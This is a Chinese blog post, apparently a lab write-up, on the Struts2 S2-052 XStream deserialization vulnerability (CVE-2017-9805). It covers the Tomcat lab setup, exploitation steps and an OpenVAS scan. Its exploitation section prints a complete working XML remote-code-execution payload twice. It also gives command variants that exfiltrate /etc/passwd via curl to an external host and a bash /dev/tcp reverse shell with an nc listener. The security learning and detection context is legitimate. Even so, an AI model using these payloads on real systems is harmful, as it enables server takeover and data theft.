Struts2-052漏洞学习及反弹shell试验

作者 折戟 日期 2019-04-15
Struts2-052漏洞学习及反弹shell试验

Struts2-052漏洞学习


了解漏洞

Struts是什么?

Struts是一个特别常用的开源web框架,用于扩展JAVA Servlet API并使用了模型(M),视图(V),控制(C)体系结构。使用这个框架,我们可以用各种标准技术(如 JSP、JavaBeans、XML等)创建可维护、可扩展并且灵活的 Web 应用程序。可以说用struts来开发java web应用程序是很简单,但是效率又很高。
之后,Struts的Java EE Web框架的团体,决定合作共同开发一个新的,整合了WebWork与Struts优点,并且更加优雅、扩展性更强的框架,命名为“Struts 2”,原Struts的1.x版本产品称为“Struts 1”。Struts项目并行提供与维护两个主要版本的框架产品——Struts 1与Struts 2。所以struts项目的两个产品就是 struts1和struts 2。
维基百科:“它通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。”
使用 Struts 时,此框架将为您提供一个控制器 Servlet (ActionServlet),它在 IDE 中包含的 Struts 库中定义,并自动在 web.xml 部署描述符中注册,就下面这个:
1.png
该控制器 Servlet 使用 struts-config.xml 文件将传入请求映射到 Struts Action 对象,并实例化与暂时存储窗体数据的操作相关联的任何 ActionForm 对象。Action 对象在使用窗体 Bean 中存储的任何数据的同时,使用其 execute 方法处理请求。一旦 Action 对象处理了请求,它就将存储任何新数据(即,存储在窗体 Bean 或单独的结果 Bean 中),并将结果转发到相应的视图中。

Struts2-052是什么漏洞?

s2-052漏洞是当用户使用带有XStream组件的Struts-REST插件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码。导致攻击者可以构造恶意xml payload导致RCE(远程代码执行)。
相对于之前struts2爆出来的漏洞来说,s_052漏洞危害稍微小一些,因为利用环境比较苛刻,需要使用Struts2 REST插件的XStream组件。

·	漏洞描述:Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
· 漏洞编号:CVE-2017-9805
· 漏洞作者:lgtm.com的安全研究员
· 影响版本:Version 2.5.0 to 2.5.12 和 Version 2.3.0 to 2.3.33
· 漏洞等级:高危

分析漏洞原理

struct2-052漏洞产生的原因是什么?

这个漏洞触发点是REST插件在解析请求中的xml文件时,调用了XStreamHandler,传入的数据会被默认进行反序列化,进行反序列化操作时,未对数据内容进行有效验证,可直接在数据包中插入恶意代码,如果当传入的xml是个经过XStream序列化的恶意对象时,便造成反序列化漏洞。
其实简单来说原因有两个:一个是 Struts2 REST插件(struts2-rest-plugin-2.x.jar)本身没有对进入的数据进行安全检查,导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是XStream在反序列化传入的xml造成的远程代码执行。

一个系统存在这个漏洞会导致什么后果?

当使用带有XStream处理程序的Struts REST插件来处理XML有效负载时,可能会发生远程执行代码攻击。这会使攻击者可以通过任意恶意代码来接管服务器,获取服务器的权限。比如说执行一些eyi代,把木马文件写入服务器的主目录!写入主目录,这很可怕,写入小马之后获取权限。最后导致服务器被攻击者控制,造成信息泄露等,甚至攻击者利用服务器进行其他非法操作,利用该服务器攻击等。

漏洞的重现和利用

下载java并配置环境

这个应该很多朋友都做过,所以我也很早都已经配置好了,所以展示一下代码和配置环境变量的操作:

$ yum install java*jdk*devel*   //使用模糊匹配,搜索然后下载指定版本的
$ //下载搜索到的最新的
$ //这样的话就不用进行环境变量配置了

还可以直接去sun网站上下载java然后手动安装,但需要修改环境变量。在/etc/profile.d/文件夹下添加一个java.sh文件,或者修改/etc/profile文件,两种方式都在文件中添加入java的classpath和path,然后输入命令:source /etc/profile,即可使配置生效。

下载tomcat并配置

执行命令:

$ sudo dnf install tomcat
$ systemctl start tomcat

然后需要在 /usr/share/tomcat/webapps目录下创建一个目录为ROOT(必须大写),然后访问127.0.0.1:8080便可以访问,但是因为里面是空的所以显示404,但是可以看到tomcat服务器信息:
2.png
最好是去官网下载对应的版本的tomcat的提示成功页面,网上下载后把下载的包里的webapps文件夹导入到虚拟机中的webapps目录就行。如果像我这样虽然tomcat成功配置了但是很可能导致后面openvas无法扫描到漏洞。官网下载对应版本的地址:http://tomcat.apache.org/,网站左边可以选择对应版本下载
配置文件在 /etc/tomcat/tomcat.conf

下载存在漏洞的struct2框架版本

去官网下载该漏洞影响的最后一个版本的struts2框架,struts-2.5.12,然后解压后将apps目录下的struts2-rest-showcase.war和struts2-showcase.war文件放到webapps目录下(/Library/Tomcat/webapps)重启tomcat后访问:
http://127.0.0.1:8080/struts2-rest-showcase/
222.png
可以看到已经搭建成功了。但是我进行操作时比如点击用户后的view进行操作时跳转404,经过测试只有切换成root用户之间登录fedora后才能进行操作。

生成攻击payload

在操作页面编辑后点击submit,然后使用firefox编辑重发:
3.png
将消息头中更改:
执行命令:

$ Content-Type: application/xml

更改request body为:

<map> 
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/test</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

Body内容中的意思是在在tmp文件夹下面生成一个test文件。编辑重发后到指定目录检查:
4.png
成功生成了test文件;说明远程代码执行成功。验证了可以远程执行代码(RCE)攻击。

使用burpsuite进行截包重发,查看结果

首先下载安装bp:

$ wget http://labfile.oss.aliyuncs.com/courses/726/burpsuite_free.jar

打开:

$ /usr/bin/java -Xmx2g  -jar  burpsuite_free.jar

设置firefox代理127.0.0.1:8080
注意firefox设置代理时要把下面的localhost和127.0.01关掉。
bp监听127.0.0.0:8080,如果点不了就是端口冲突,被占用了,换端口就行
5.png
然后进行抓包重发:
更改headers中更改Content-Type: application/xml
并将body中的更改为payload:
6.png
我重新发送的远程执行代码是要在/tmp下新建一个vuln文件。
Payload:

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/vuln</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

执行后去指定文件夹查看:
7.png
可以看到payload执行成功。

Payload的大概规则

在网上寻找了如何写payload的大概规则:

<command>
<string>touch /tmp/test.txt</string>
</command>

比如上面这样的是不会执行的,如果远程执行的命令有空格则需要用string进行转换

<command>
<string>echo</string>
<string>abc</string>
<string>></string>
<string>/tmp/abc</string>
</command>

这样也是不行的,应该是不支持重定向符号>,管道符 | 应该也不支持。
下面看看一些成功的例子:

<command>
<string>cp</string>
<string>/etc/passwd</string>
<string>/tmp/passwd</string>
</command>

或者

<command>
<string>curl</string>
<string>-F</string>
<string>value=@/etc/passwd</string>
<string> http://x.x.x.x/ </string>
</command>

curl命令执行可以成功,注意第三行的值不能有双引号,否则失败。
读取文件:

<command>
<string>curl</string>
<string>-F</string>
<string>value=@/etc/passwd</string>
<string> http://x.x.x.x/ </string>
</command>

通过在服务端http://x.x.x.x/抓包,发现/etc/passwd被post了过来。

尝试反弹shell

首先尝试bash –c这个命令:

<command>
<string>bash</string>
<string>-c</string>
<string>touch /tmp/abc.txt</string>
</command>

利用firefox抓包重发后,返回500:
8.png
我们进入指定文件夹看看有没有写入成功:
9.png
成功写入,说明了bush 命令可以执行。
使用重定向符号>创建任意文件

<command>
<string>bash</string>
<string>-c</string>
<string>echo abcd >/tmp/abcd.txt</string>
</command>

进入查看:
10.png
成功!
可以把ip addr的命令执行结果输出到/tmp/ip.txt

<command>
<string>bash</string>
<string>-c</string>
<string>ip addr >/tmp/ip.txt</string>
</command>

查看:
11.png
成功,查看一下写入情况:
12_LI.jpg
全部导出了得到了!
下面开始尝试反弹shell,利用下面的命令:(&要转换成&amp):

<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/192.168.72.141/22222 0>&amp;1</string>
</command>

在firefox编辑重发之前先要监听一个端口:

$ nc –lvvp 22222   //port

Firefox编辑重发后,上面填的是攻击方的ip和端口号就可以连接啦!:
13.png
成功反弹shell!

试分析如果公司服务器存在这种漏洞,会对公司有什么影响?

我们尝试了可以远程执行命令成功,结合我们上个实验,如果我们写入一个木马到目标用户的指定路径下,则可进行进一步的攻击操作。比如写入反弹shell等等。攻击者可以进行各种操作从而获取服务器的给权限,并生成后门。便可进行一些非法操作,给公司造成包括信息泄露在内的巨大损失。

使用openvas对该存在的漏洞系统进行扫描

查看扫描结果,是否能得到对该漏洞的报告?

14.png
15.png
我们分别点开进入扫到了两个tomcat分析看到应该是第二个是对应的struts2-052漏洞,会导致远程代码执行漏洞:
16.png
在博主之前的博客说过如何查找nvt对应的文件,所以这里就不说了。
18.png
源码分析:
首先源码的前一段是输出了漏洞的信息,然后
19.png
这边是提供下面所要调用的函数。
20.png
这里是定义一些参数获取端口号已经利用函数get_kb_list对传参进行测试。然后根据然后判断存不存在漏洞。
21.png
对端口进行尝试连接,连不上则退出。
22.png
接着进行系统测试。判断是什么系统。然后获取host的名字。
下面定义了一个参数data,就是我们使用的payload。就是需要改包在body里面的东西。
23.png
截止对调用url利用struts2的指定目录进行测试,发送请求,接受请求,然后对返回的请求进行检测。
25.png
对返回进行检测。如果不存在漏洞则退出。If中一个条件是收到返回,另一个条件是windows或者linux主机判断成功。

一些问题

这次遇到的最主要的问题就是在扫描是发现扫不出tomcat的远程执行漏洞。主要是两个问题。一个是我没有将struts2-showcase导入的tomcat的指定目录下,因为struts2-rest-showcase是用于我们测试,而nasl脚本测试的则是struts2-showcase。另一个则是没有下载官网提供的对应版本的webapps的文件。解决这两个问题之后就成功扫出来了。
在反射shell时要注意一点要在攻击机上先监听端口。